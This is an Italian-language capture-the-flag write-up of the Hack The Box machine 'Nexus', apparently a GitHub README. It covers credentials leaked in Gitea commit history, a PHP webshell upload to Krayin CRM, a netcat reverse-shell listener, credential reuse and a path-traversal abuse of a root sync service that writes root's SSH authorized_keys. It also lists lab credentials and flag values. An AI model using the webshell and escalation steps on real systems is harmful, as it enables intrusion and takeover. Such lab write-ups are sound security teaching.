
# Write-up della macchina Nexus di Hack The Box: ricognizione, scoperta di credenziali Gitea, sfruttamento di Krayin CRM tramite CVE-2026-38526, accesso iniziale ed escalation dei privilegi attraverso un servizio vulnerabile di sincronizzazione dei template Gitea.
English 🇺🇸 | Español 🇪🇸
Nexus è una macchina Linux di difficoltà Facile di Hack The Box che dimostra una catena di attacco multi-fase che coinvolge enumerazione di virtual host, credenziali esposte, funzionalità vulnerabili di applicazioni web, esecuzione remota di codice, riutilizzo di credenziali ed escalation locale dei privilegi.
Ricognizione
│
▼
Enumerazione Virtual Host
│
├── git.nexus.htb
└── billing.nexus.htb
│
▼
Cronologia Commit Gitea
│
▼
Credenziali Esposte
│
▼
Login Krayin CRM
│
▼
CVE-2026-38526
│
▼
Webshell PHP
│
▼
Reverse Shell
(www-data)
│
▼
.env dell'Applicazione
│
▼
SSH come jones
│
▼
gitea-template-sync
│
▼
Path Traversal
│
▼
Repository Git Maligno
│
▼
SSH come root
rootIP Target: 10.129.82.92
nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
git.nexus.htb → Gitea
billing.nexus.htb → Krayin CRM
Aggiungi gli host scoperti a /etc/hosts:
echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
Naviga verso:
http://git.nexus.htb
Un repository denominato:
admin/krayin-docker-setup
contiene informazioni utili nella sua cronologia Git.
Il file .env può essere recuperato dai commit precedenti, rivelando credenziali che non sono più presenti nella versione corrente.
| Servizio | Nome Utente | Password |
|---|---|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
L'indirizzo email [email protected] è stato identificato anche nella sezione relativa al personale del sito web principale.
URL: http://billing.nexus.htb/admin/login
Email: [email protected]
Password: N27xh!!2ucY04
Naviga verso:
/admin/mail/sent
Poi:
Il payload è memorizzato in:
exploits/CVE-2026-38526/shell.php
Payload:
<?php system($_GET["cmd"]); ?>
I campi multipart rilevanti sono:
Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php
Dopo il caricamento riuscito:
http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id
Risultato atteso:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Avvia un listener:
nc -lvnp 4444
Poi attiva la reverse shell tramite la webshell caricata.
L'implementazione in Python è disponibile in:
exploits/CVE-2026-38526/reverse_shell.py
In questa fase la shell viene ottenuta come:
www-data
Ispeziona la configurazione di Krayin:
cat /var/www/krayin/.env
Vengono trovate le credenziali:
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
cat /etc/passwd | grep sh$
Viene identificato l'account jones.
Password:
y27xb3ha!!74GbR
f20cbf9aeb6bb228d356a42ff49c1933
systemctl list-units | grep -i gitea
Vengono identificati il seguente servizio e timer:
gitea-template-sync.timer
gitea-template-sync.service
Il servizio viene eseguito con privilegi elevati.
/etc/gitea/template-sync.py
Il meccanismo di sincronizzazione utilizza una costruzione di percorsi che può essere sfruttata tramite path traversal.
Genera una coppia di chiavi SSH:
ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub
Lo sfruttamento della manipolazione degli oggetti Git si trova in:
exploits/gitea_template_sync/exploit_git.py
Crea il repository:
cd /tmp
rm -rf exploit
mkdir exploit
cd exploit
git init
python3 exploit_git.py
Il repository deve utilizzare il ramo:
main
Genera un token di accesso personale tramite:
http://git.nexus.htb
Naviga verso:
Settings → Applications
Poi configura il remote:
git remote set-url origin http://jones:[email protected]/jones/exploit.git
Esegui il push del repository maligno:
git push -f origin main
Monitora il log di sincronizzazione:
tail -f /var/log/template-sync.log
Una sincronizzazione riuscita comporta l'elaborazione dell'albero Git maligno da parte del servizio privilegiato.
Esempio:
[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30] synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete
Una volta che la chiave pubblica SSH è stata scritta nell'account root:
ssh -i /tmp/nexus_root [email protected]
Verifica l'accesso:
whoami
Atteso:
root
Recupera la flag root:
cat /root/root.txt
85be1d2a3084e387da0e7dd118908c63
| Flag | Valore |
|---|---|
| User | f20cbf9aeb6bb228d356a42ff49c1933 |
| Root | 85be1d2a3084e387da0e7dd118908c63 |
Queste credenziali appartengono all'ambiente di laboratorio Hack The Box documentato da questo repository.
htb-labs-nexus/
├── README.md
├── exploits/
│ ├── CVE-2026-38526/
│ │ ├── shell.php
│ │ ├── reverse_shell.py
│ │ └── burp_request.txt
│ └── gitea_template_sync/
│ ├── exploit_git.py
│ ├── create_repo.sh
│ └── key.pub
├── scripts/
│ ├── linpeas.sh
│ ├── LinEnum.sh
│ └── enum_services.sh
├── assets/
│ ├── nmap_scan.txt
│ ├── gobuster_vhost.txt
│ └── credentials.txt
├── screenshots/
│ ├── gitea_repo.png
│ ├── crm_login.png
│ ├── webshell.png
│ └── root_flag.png
└── notes/
├── methodology.md
├── commands.md
└── credentials.md
Questo repository è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati.
Le tecniche, le credenziali, gli exploit e i comandi documentati qui non devono essere utilizzati contro sistemi senza esplicita autorizzazione.
root può diventare un vettore di escalation dei privilegi.⭐ Se hai trovato utile questo write-up, considera di mettere una stella al repository.
| Servizio | Nome Utente | Password / Chiave |
|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
| Token Gitea | jones | 1dd7105bf7e57cad02c5a56af5d92703a7839364 |
| SSH | jones | y27xb3ha!!74GbR |
| SSH Root | root | /tmp/nexus_root |
| Strumento | Scopo |
|---|
| Nmap | Enumerazione di porte e servizi |
| Gobuster | Enumerazione di virtual host |
| Burp Suite | Intercettazione e modifica delle richieste HTTP |
| Git | Analisi dei repository e costruzione di repository maligni |
| Python 3 | Script di sfruttamento |
| Netcat | Listener per reverse shell |
| LinEnum | Enumerazione Linux |
| LinPEAS | Enumerazione per escalation dei privilegi |
| SSH | Accesso remoto |